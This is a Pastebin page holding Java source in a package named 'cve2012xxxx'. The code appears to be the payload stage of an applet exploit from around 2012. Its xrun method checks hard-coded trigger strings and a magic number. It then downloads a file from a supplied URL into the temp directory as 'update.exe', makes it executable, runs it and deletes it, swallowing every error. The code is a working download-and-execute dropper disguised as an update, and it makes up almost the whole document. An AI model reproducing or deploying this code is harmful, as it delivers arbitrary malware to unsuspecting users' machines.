Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package cve2012xxxx;
- import java.io.BufferedInputStream;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.InputStream;
- import java.net.URL;
- import java.net.URLConnection;
- public class Gondzz
- {
- public static Object xrun(String xiaomaolv, String bn, String si, Integer bs)
- throws Exception
- {
- if ((xiaomaolv == null) && (bn == null)) {
- return null;
- }
- try
- {
- String k1 = "woyouyizhixiaomaol";
- String k2 = "conglaiyebuqi";
- String str1 = System.getProperty("os.name");
- if ((bn.indexOf(k1) == 0) && (si.indexOf(k2) == 0) && (bs.intValue() == 748))
- {
- Object localObject1 = System.getProperty("java.io.tmpdir") + File.separator + "update.exe";
- downFile((String)localObject1, xiaomaolv);
- if (str1.indexOf("Windows") < 0)
- {
- exec("chmod 755 " + (String)localObject1);
- }
- exec((String)localObject1);
- new File((String)localObject1).delete();
- }
- }
- catch (Exception localException)
- {
- }
- return null;
- }
- public static Process exec(String paramString)
- {
- Process localProcess = null;
- try
- {
- localProcess = Runtime.getRuntime().exec(paramString);
- if (localProcess == null);
- localProcess.waitFor();
- }
- catch (Exception localException) {
- }
- return localProcess;
- }
- public static void downFile(String paramString1, String paramString2)
- {
- try
- {
- FileOutputStream localFileOutputStream = new FileOutputStream(paramString1);
- URL localURL = new URL(paramString2);
- String connayi = "xx";
- URLConnection localURLConnection = localURL.openConnection();
- int i = localURLConnection.getContentLength();
- InputStream localInputStream = localURLConnection.getInputStream();
- BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
- byte[] arrayOfByte = new byte[i];
- int j = 0;
- int k = 0;
- while (k < i) {
- j = localBufferedInputStream.read(arrayOfByte, k, arrayOfByte.length - k);
- if (j == -1)
- break;
- k += j;
- }
- localBufferedInputStream.close();
- localFileOutputStream.write(arrayOfByte);
- localFileOutputStream.close();
- }
- catch (Exception localException)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement